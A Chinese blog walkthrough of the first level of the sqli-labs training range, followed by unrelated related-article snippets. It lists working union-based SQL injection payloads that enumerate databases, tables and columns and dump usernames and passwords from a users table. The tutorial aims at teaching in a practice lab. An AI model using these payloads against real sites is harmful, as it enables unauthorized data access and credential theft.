解密 sqli靶场第一关:一步一步学习 SQL 注入技术

 

目录

一、判断是否存在注入点

二、构造类似?id=1' --+的语句

三、判断数据表中的列数

四、使用union联合查询

五、使用group_concat()函数

六、爆出数据库中的表名

七、爆出users表中的列名

八、爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

打开 sqli靶场第一关,以下是通关思路:

一、判断是否存在注入点

首先进行初步的试探,构造?id=1 and 1=1,页面正常

构造?id=1 and 1=2,页面正常

继续构造?id=1' and '1'='1,页面正常

构造?id=1' and '1'='2 ,页面无回显,判断为字符型注入。

二、构造类似?id=1' --+的语句

构造类似?id=1' --+的语句,我们可以在 ?id=1' 和 --+ 中间插入select语句,进行我们想要的操作。

在这个注入尝试中,' 是一个闭合单引号,用于关闭原始的查询语句中的引号,并添加注释符 -- 来注释掉后续的语句。+ 是空格的URL编码表示,用于在URL中表示空格。

三、判断数据表中的列数

这一步是为了使用union联合查询。

构造?id=1' order by 5 --+,出现如图回显,说明5超出了数据表中列的范围

构造?id=1' order by 4 --+,仍然超出

构造?id=1' order by 3 --+,正常回显,说明当前表只有3列

四、使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

构造如下语句:

?id=1' union select 1,2,schema_name from information_schema.schemata--+

后来发现只回显了数据库的第一行

继续构造

?id=' union select 1,2,schema_name from information_schema.schemata--+

这里去掉了id=1'中的1,使其为空。结果是我们终于回显出了数据库名

五、使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

这里我们可以使用group_concat()函数,一次性的把库名显示出来:

?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

六、爆出数据库中的表名

我们可以爆出数据库中的表名了,这里以information_schema为例

构造如下语句:

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

七、爆出users表中的列名

构造如下语句获得users表中的列名:

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

八、爆出users表中的数据

我们还能继续获得信息

(1)查看users表中所有的用户:

?id=' union select 1,2,group_concat(username) from security.users --+

(2)查看users表中所有的用户密码:

?id=' union select 1,2,group_concat(password) from security.users --+

(3)concat_ws(':',A,B)函数拼接信息:

这里可以用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

sqli靶场第一关通关思路到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/171507.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Matlab数学建模算法详解之混合整数线性规划 (MILP) 算法(附完整实现代码)

🔗 运行环境:Matlab 🚩 撰写作者:左手の明天 🥇 精选专栏:《python》 🔥 推荐专栏:《算法研究》 #### 防伪水印——左手の明天 #### 💗 大家好🤗&#x1f91…

每天一点python——day76

#每天一点Python——76 #函数的返回值 函数的返回值: 如果函数的运行结果需要在其他函数中使用,那么这个函数就应该被定义为带返回值的函数 函数的运行结果使用return关键字进行返回 返回到函数的调用处 例子 def a(a,b):cabreturn c a(10,20)return可以…

java多线程一

1、什么是线程 线程(Thread)是一条程序内部的一条执行流程。 程序中如果只有一条执行流程,那这个程序就是单线程的程序。 2、什么是多线程 多线程(multithreading),是指从软件或者硬件上实现多个线程并发执…

Flask Paginate实现表格分页

flask_paginate 是 Flask 框架的一个分页扩展,用于处理分页相关的功能。它可以帮助你在 Flask Web 应用程序中实现分页功能,让用户可以浏览大量数据的不同部分。本篇博文重点讲述在Web开发中,用paginate把所有数据进行分页展示,首…

【SAS Planet 下载地图瓦片-读取】

SAS Planet下载地图瓦片请看上一篇 详细介绍了下载方法 【SAS Planet 下载地图瓦片】-CSDN博客 准备工作: 1.提前下载好地图瓦片数据 SAS Planet下载地图瓦片默认存储路径如下 默认存储格式为 .sqlitedb 2.提前准备好 java开发环境和开发工具,新建 一个…

第五题-kotori和素因子【第六届传智杯程序设计挑战赛解题分析详解复盘】(JavaPythonC++实现)

🚀 欢迎来到 ACM 算法题库专栏 🚀 在ACM算法题库专栏,热情推崇算法之美,精心整理了各类比赛题目的详细解法,包括但不限于ICPC、CCPC、蓝桥杯、LeetCode周赛、传智杯等等。无论您是刚刚踏入算法领域,还是经验丰富的竞赛选手,这里都是提升技能和知识的理想之地。 ✨ 经典…

安卓吸顶效果

当列表滑动时&#xff0c;图片逐渐消失&#xff0c;toolBar悬停在头部。 <?xml version"1.0" encoding"utf-8"?><androidx.coordinatorlayout.widget.CoordinatorLayoutxmlns:android"http://schemas.android.com/apk/res/android"x…

网络运维与网络安全 学习笔记2023.11.26

网络运维与网络安全 学习笔记 第二十七天 今日目标 NAT场景与原理、静态NAT、动态NAT PAT原理与配置、动态PAT之EasyIP、静态PAT之NAT Server NAT场景与原理 项目背景 为节省IP地址和费用&#xff0c;企业内网使用的都是“私有IP地址” Internet网络的组成设备&#xff0c…

Python自动化测试学习路线【进阶必看】

软件自动化测试的学习步骤 大概步骤如下&#xff1a; 1. 做好手工测试&#xff08;了解各种测试的知识&#xff09;-> 2. 学习编程语言-> 3. 学习Web基础&#xff08;HTML,HTTP,CSS,DOM,Javascript&#xff09;或者 学习Winform -> 4. 学习自动化测试工具 ->5.…

Cisco Packet Tracer配置命令——路由器篇

路由基础 路由器用于互联两个或多个网络&#xff0c;具有两项功能&#xff1a;为要转发的数据包选择最佳路径以及将数据包交换到正确的端口&#xff0c;概括为路由选择和分组转发。 路由选择 路由选择就是路由器根据目的IP地址的网络地址部分&#xff0c;通过路由选择算法确…

java多线程任务并发问题:任务并行和任务并发有什么区别?

1.什么是任务并行&#xff1f; 多个任务在同一时刻同时运行&#xff0c;通常需要多个处理器或者多核处理器来实现。例如一个计算机可以同时执行多个程序、多个线程、多个进程时&#xff0c;就是采用并行的方式来处理任务的&#xff0c;有效提高计算机处理效率&#xff1b; 2.…

C++中在什么情况下使用共用体

C中在什么情况下使用共用体 在结构中&#xff0c;常使用共用体来模拟复杂的数据类型。共用体可将固定的内存空间解释为另一种类型&#xff0c;有些实现利用这一点进行类型转换或重新解释内存&#xff0c;但这种做法存在争议&#xff0c;而且可采用其他替代方式。如下示例程序演…

公司人事管理系统

1.问题描述 一个小公司包含四类人员&#xff1a;经理&#xff0c;技术人员&#xff0c;销售人员和销售经理&#xff0c;各类人员的工资计算方法如下&#xff1a;经理&#xff1a;固定月薪&#xff08;8000&#xff09;&#xff1b;技术人员&#xff1a;月薪按技术等级&#xf…

类与对象——(1)初识对象——C++中的string

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd; 或许不安或许迷惑&#xff0c;但…

Python与设计模式--解释器模式

20-Python与设计模式–解释器模式 一、模拟吉他 要开发一个自动识别谱子的吉他模拟器&#xff0c;达到录入谱即可按照谱发声的效果。除了发声设备外&#xff08;假设已完成&#xff09;&#xff0c; 最重要的就是读谱和译谱能力了。分析其需求&#xff0c;整个过程大致上分可…

Factory 工厂模式-C语言实现

说明&#xff1a; 均由 chatgpt生成&#xff0c;实例可以看出无法运行&#xff0c;仅供参考~ UML图&#xff1a; ‘ 表示public, - 表示private,“# 表示protected.” 一文掌握14种UML图-腾讯云开发者社区-腾讯云 (tencent.com) 五分钟带你读懂UML类图 - 知乎 (zhihu.com)…

SpringBoot 环境使用 Redis + AOP + 自定义注解实现接口幂等性

目录 一、前言二、主流实现方案介绍2.1、前端按钮做加载状态限制&#xff08;必备&#xff09;2.2、客户端使用唯一标识符2.3、服务端通过检测请求参数进行幂等校验&#xff08;本文使用&#xff09; 三、代码实现3.1、POM3.2、application.yml3.3、Redis配置类3.4、自定义注解…

U-boot(五):启动内核

本文主要探讨210的uboot启动内核过程。 嵌入式系统状态启动 未上电时bootloader、kernel、rootfs以镜像形式存储在启动介质中(X210为iNand/SD卡),运行时搬运到DDR中 未上电时u-boot.bin,zImage,rootfs在SD卡中各自对应的分区中,启动时去对应分区寻找(分区表一…

***Linux下Mysql的安装

以下是在Linux系统下安装MySQL的步骤&#xff1a; 1.访问MySQL官网下载页面&#xff08;https://dev.mysql.com/downloads/mysql/&#xff09;&#xff0c;选择适合您Linux系统的版本进行下载。 2.下载完成后&#xff0c;解压缩文件并将其移动到/usr/local目录下&#xff1a;…

【Java】实现一个自己的定时器

上文讲了怎样使用Java自带的定时器【Java】定时器的简单应用 这篇博客就来讲如何来编写一个自己实现的定时器 1、代码框架 由定时器的使用方法得知&#xff0c;我们在使用定时器的时候会添加一个任务timerTask类&#xff0c;而timer类则是我们行使任务的类&#xff0c;因此可…